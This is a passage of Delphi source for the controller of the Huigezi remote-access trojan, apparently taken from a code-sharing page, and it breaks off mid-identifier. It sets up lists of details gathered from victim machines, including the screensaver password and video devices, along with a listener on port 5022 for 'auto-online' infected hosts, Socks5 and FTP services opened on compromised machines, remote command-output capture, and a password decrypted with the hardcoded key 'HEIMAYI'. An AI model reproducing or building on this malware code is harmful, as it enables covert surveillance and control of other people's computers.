📄 main.pas
字号:
SubItems.Add('');
ImageIndex :=17;
end;
with SysListView.Items.Add do
begin
Caption:=Translate('SysListView[4]','注册公司');
SubItems.Add('');
ImageIndex :=18;
end;
with SysListView.Items.Add do
begin
Caption:=Translate('SysListView[5]','注册用户');
SubItems.Add('');
ImageIndex :=19;
end;
with SysListView.Items.Add do
begin
Caption:=Translate('SysListView[6]','当前用户');
SubItems.Add('');
ImageIndex :=20;
end;
with SysListView.Items.Add do
begin
Caption:=Translate('SysListView[7]','当前日期');
SubItems.Add('');
ImageIndex :=21;
end;
with SysListView.Items.Add do
begin
Caption:=Translate('SysListView[8]','开机时间');
SubItems.Add('');
ImageIndex :=22;
end;
with SysListView.Items.Add do
begin
Caption:=Translate('SysListView[9]','计算机名称');
SubItems.Add('');
ImageIndex :=23;
end;
with SysListView.Items.Add do
begin
Caption:=Translate('SysListView[10]','窗口分辨率');
SubItems.Add('');
ImageIndex :=24;
end;
with SysListView.Items.Add do
begin
Caption:=Translate('SysListView[11]','服务端版本');
SubItems.Add('');
ImageIndex :=25;
end;
with SysListView.Items.Add do
begin
Caption:=Translate('SysListView[12]','视频设备');
SubItems.Add('');
ImageIndex :=26;
end;
with SysListView.Items.Add do
begin
Caption:=Translate('SysListView[13]','屏幕保护密码');
SubItems.Add('');
ImageIndex :=27;
end;
except
end;
ComboBox4.Items.Clear;
ComboBox4.Items.Add(Translate('ComboBox4[0]','自动上线主机'));
ComboBox4.Items.Add(Translate('ComboBox4[1]','IP->地理位置'));
ComboBox4.Items.Add(Translate('ComboBox4[2]','地理位置->IP'));
ComboBox4.Items.Add(Translate('ComboBox4[3]','域名->IP地址'));
ComboBox4.ItemIndex :=0;
ComboBox5.Items.Clear;
ComboBox5.Items.Add(Translate('ComboBox5[0]','显示搜索结果'));
ComboBox5.Items.Add(Translate('ComboBox5[1]','连接搜索到的主机'));
ComboBox5.ItemIndex :=0;
ComboBox1.Items.Clear;
ComboBox1.Items.Add(Translate('ComboBox1[0]','普通'));
ComboBox1.Items.Add(Translate('ComboBox1[1]','询问'));
ComboBox1.Items.Add(Translate('ComboBox1[2]','警告'));
ComboBox1.Items.Add(Translate('ComboBox1[3]','错误'));
ComboBox1.ItemIndex :=0;
ComboBox2.Items.Clear;
ComboBox2.Items.Add(Translate('ComboBox2[0]','确定'));
ComboBox2.Items.Add(Translate('ComboBox2[1]','确定、取消'));
ComboBox2.Items.Add(Translate('ComboBox2[2]','是、否'));
ComboBox2.Items.Add(Translate('ComboBox2[3]','是、否、取消'));
ComboBox2.Items.Add(Translate('ComboBox2[4]','重试、取消'));
ComboBox2.Items.Add(Translate('ComboBox2[5]','终止、重试、忽略'));
ComboBox2.ItemIndex :=0;
ListBox3.Items.Clear;
ListBox3.Items.Add(Translate('ListBox3[0]','1.Socks5代理服务：可以在服务端开放Socks5代理服务!'));
ListBox3.Items.Add(Translate('ListBox3[1]','2.FTP服务：可以在服务端开放FTP服务!'));
ListBox3.Items.Add('');
ListBox3.Items.Add(Translate('ListBox3[2]','(注：软件内部自带功能,支持:Win98/ME/NT/2000/XP)'));
for j := 0 to TreeView1.Items.Count - 1 do
begin
if Treeview1.Items[j].ImageIndex = 0 then
begin
Treeview1.Items[j].Text:= Translate('TreeView1Item[0]','我的电脑');
end;
if Treeview1.Items[j].ImageIndex = 23 then
begin
Treeview1.Items[j].Text:= Translate('TreeView1Item[1]','自动上线主机');
Break;
end;
end;
for j := 0 to TreeView3.Items.Count - 1 do
begin
if TreeView3.Items[j].ImageIndex = 0 then
begin
TreeView3.Items[j].Text:= Translate('TreeView1Item[0]','我的电脑');
end;
if TreeView3.Items[j].ImageIndex = 7 then
begin
TreeView3.Items[j].Text:= Translate('TreeView3Item[1]','远程电脑');
Break;
end;
end;
except
end;
{ for I:=0 to ListBox1.Items.Count-1 do begin
ListBox1.Items[I]:=Translate('ListItem','Item %d',[I]);
end;
try
Image1.Picture.Bitmap.LoadFromResourceName(hInstance,Translate('image','image_eng'));
except
Image1.Picture.Bitmap.LoadFromResourceName(hInstance,'image_eng');
end; }
end;
procedure THgzVip.FormCreate(Sender: TObject);
var
IPFile: string;
MyStream: TMemoryStream;
MyStream1: TMemoryStream;
Downgif: TDownGifThread;
Temp: integer;
begin
LoadINIFile; {读取设置文件}
if not Soundkarte then begin
AddLineStr(Translate('Sound1','本机没有可用的声卡设备,您将无法使用语音功能!'), 2, False);
end;
SortedColumn := -1;
MyFirstBmp := TMemoryStream.Create;
{读取IP追捕数据}
FleshIpList := TStringlist.Create;
IPFile := ExtractFilePath(Paramstr(0)) + 'ip.dat';
if Fileexists(IPFile) then begin //解压HgzIp.dat...
//SplashForm.Label1.Caption := Translate('Loading1','解压HgzIp.dat...');
SplashForm.Gauge1.Progress:=10;
Application.ProcessMessages;
MyStream := TMemoryStream.Create;
MyStream1 := TMemoryStream.Create;
try
MyStream.LoadFromFile(IPFile);
MyStream.Position := 0;
LHAExpand(MyStream, MyStream1);
MyStream1.Position := 0; //读取追捕HgzIp.dat文件...
SplashForm.Gauge1.Progress:=15;
Application.ProcessMessages;
FleshIpList.LoadFromStream(MyStream1);
finally
MyStream.Free;
MyStream1.Free;
end;
end;
ListView2.Columns.Items[0].ImageIndex := 0;
FDoubleBuffer := TBitmap.Create;
Videobmp:= TBitmap.Create;
Videobmp.Width :=313;
Videobmp.Height := 197;
Animate1.Align := alClient;
GIFAnimator.Animate := True;
RsltStream := TmemoryStream.Create;
SplashForm.Gauge1.Progress:=20;
Application.ProcessMessages;
TIPAddThread.Create(false); {得到本机IP的线程}
Downgif:=TDownGifThread.Create('www.huigezi.net','\/huigezi.gif',ExtractFilePath(Paramstr(0))+'dat\','huigezi.gif');
LoadLanguageList;
end;
procedure THgzVip.LoadINIFile;
var
Temp, Temp2: string;
i, ii: integer;
TempNode, Nodeid: TTreenode;
ListFileType: string;
begin
INIFileName := ExtractFilePath(Paramstr(0)) + 'Operate.ini';
Myinifile := Tinifile.Create(INIFileName);
try
if FileExists(INIFileName) then begin
Application.ProcessMessages;
{讯取文件视图方式}
ListFileType := Myinifile.Readstring('Operation', 'ViewStyle', 'vsReport');
if ListFileType = 'vsIcon' then N16Click(self);
if ListFileType = 'vsSmallIcon' then N17Click(self);
if ListFileType = 'vsList' then N18Click(self);
if ListFileType = 'vsReport' then N19Click(self);
Temp := Myinifile.Readstring('Operation', 'Tool1', '1'); {显不显示工具栏}
if Temp <> '1' then N3Click(Self);
Temp := Myinifile.Readstring('Operation', 'Tool2', '1'); {显不显示连接信息栏}
if Temp <> '1' then N6Click(Self);
Temp := Myinifile.Readstring('Operation', 'Tool3', '1'); {显不显示搜索栏}
if Temp <> '1' then N7Click(Self);
Temp := Myinifile.Readstring('Operation', 'OnSound', '0'); {显不显示搜索栏}
if Temp <> '0' then
begin
isSound := True;
OnSLine := Myinifile.Readstring('Operation', 'Sound1', '');
OffSLine := Myinifile.Readstring('Operation', 'Sound2', '');
UpIPok := Myinifile.Readstring('Operation', 'Sound3', '');
FileSup := Myinifile.Readstring('Operation', 'Sound4', '');
FileSDown := Myinifile.Readstring('Operation', 'Sound5', '');
end;
Temp := Myinifile.Readstring('Operation', 'SkinFile', ''); {读取皮肤文件}
if FileExists(Temp) then begin
spSkinData1.LoadFromFile(Temp);
end;
AutoSxport := Strtoint(Myinifile.Readstring('LocalPort', 'AutoSxport', '5022'));
SportEdit.Text:=inttostr(AutoSxport);
try
Timer4.Interval:=Strtoint(Myinifile.Readstring('Operation', 'TimerOut', '20000'));
except
Timer4.Interval:=20000;
end;
LjPassword.Text:=DeCryptStr(Myinifile.Readstring('Operation', 'PassWord', ''),'HEIMAYI');
Exit;
end;
except
end;
Application.ProcessMessages;
try
{-----------------------------------------}
Myinifile.writestring('Operation', 'ViewStyle', 'vsReport'); {文件列表视图}
Myinifile.writestring('Operation', 'SkinFile', ''); {设置皮肤}
Myinifile.writestring('Operation', 'Tool1', '1'); {工具栏}
Myinifile.writestring('Operation', 'Tool2', '1'); {连接信息栏}
Myinifile.writestring('Operation', 'Tool3', '1'); {搜索栏}
Myinifile.writestring('Operation', 'OnSound', '1'); {是否打开语音提示}
Myinifile.writestring('Operation', 'Sound1', ExtractFilePath(ParamStr(0)) + 'sound\login.wav');
Myinifile.writestring('Operation', 'Sound2', ExtractFilePath(ParamStr(0)) + 'sound\offline.wav');
Myinifile.writestring('Operation', 'Sound3', ExtractFilePath(ParamStr(0)) + 'sound\setting.wav');
Myinifile.writestring('Operation', 'Sound4', ExtractFilePath(ParamStr(0)) + 'sound\upfile.wav');
Myinifile.writestring('Operation', 'Sound5', ExtractFilePath(ParamStr(0)) + 'sound\downfile.wav');
Myinifile.writestring('Operation', 'TimerOut', '20000');
isSound := True;
OnSLine := ExtractFilePath(ParamStr(0)) + 'sound\login.wav';
OffSLine := ExtractFilePath(ParamStr(0)) + 'sound\offline.wav';
UpIPok := ExtractFilePath(ParamStr(0)) + 'sound\setting.wav';
FileSup := ExtractFilePath(ParamStr(0)) + 'sound\upfile.wav';
FileSDown := ExtractFilePath(ParamStr(0)) + 'sound\downfile.wav';
{-----------------------------------------}
Myinifile.writestring('LocalPort', 'AutoSxport', '5022'); {自动上线端口}
SportEdit.Text :='80';
Myinifile.writestring('LocalPort', 'PassWord', '');
{-----------------------------------------}
Myinifile.writestring('FTP', 'AutoSave', '1'); {自动保存FTP信息}
Myinifile.writestring('FTP', 'FTPServer', '');
Myinifile.writestring('FTP', 'FTPport', '21');
Myinifile.writestring('FTP', 'FTPUser', '');
Myinifile.writestring('FTP', 'Password', '');
Myinifile.writestring('FTP', 'Http', '');
Myinifile.writestring('FTP', 'IpFile', 'ip.jpg');
{-----------------------------------------}
Myinifile.writestring('Yuming', 'AutoSave', '1'); {自动保存域名信息}
Myinifile.writestring('Yuming', 'User', '');
Myinifile.writestring('Yuming', 'Password', '');
{-----------------------------------------}
Myinifile.writestring('DNSYuming', 'AutoSave', '1');
Myinifile.writestring('DNSYuming', 'Dns', '');
Myinifile.writestring('DNSYuming', 'User', '');
Myinifile.writestring('DNSYuming', 'Password', '');
{-----------------------------------------}
except
end;
AutoSxport := 5022;
end;
procedure THgzVip.FormShow(Sender: TObject);
begin
if Tag = 0 then
begin
Tag := 1;
try
IdTCPServer1.Active := False;
IdTCPServer1.Bindings.Clear;
IdTCPServer1.DefaultPort := AutoSxport;
IdTCPServer1.Active := True;
except //打开本地XXX端口失败！你不能使用自动上线功能!
AddLineStr(Translate('String1','打开自动上线端口失败！你不能使用自动上线功能!'), 2, False);
end;
end;
try
PageControl1.ActivePage := TabSheet1;
TreeView1.FullCollapse;
Gauge1.Width := TreeView1.Width;
except
end;
end;
function THgzVip.DiskInDrive(Drive: Char): Boolean;
var ErrorMode: word;
begin
if Drive in ['a'..'z'] then Dec(Drive, $20);
if not (Drive in ['A'..'Z']) then
begin
Result := False;
Exit;
end;
ErrorMode := SetErrorMode(SEM_FailCriticalErrors);
try
if DiskSize(Ord(Drive) - $40) = -1 then
Result := False
else
Result := True;
finally
SetErrorMode(ErrorMode);
end;
end;
procedure THgzVip.GetDrivernum(var DiskList: TStringList);
var
i: Char;
AChar: array[1..3] of char;
j: integer;
drv: PChar;
begin
for i := 'C' to 'Z' do
begin
if DiskInDrive(i) then
begin
AChar[1] := i;
AChar[2] := ':';
AChar[3] := #0;
drv := @AChar;
J := GetDriveType(drv);
if J = DRIVE_REMOVABLE then
DiskList.Add(i + ':4'); //(软盘)
if J = DRIVE_FIXED then
DiskList.Add(i + ':1'); //(硬盘)
if J = DRIVE_REMOTE then
DiskList.Add(i + ':3'); //(网络映射)
if J = DRIVE_CDROM then
DiskList.Add(i + ':2'); //(光盘)
if J = DRIVE_RAMDISK then
DiskList.Add(i + ':4'); // (虚拟盘)
if J = DRIVE_UNKNOWN then
DiskList.Add(i + ':4'); // (未知盘)
end;
end;
end;
function THgzVip.GetDosOutput(var Command: string): string;
var
hReadPipe: THandle;
hWritePipe: THandle;
SI: TStartUpInfo;
PI: TProcessInform⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -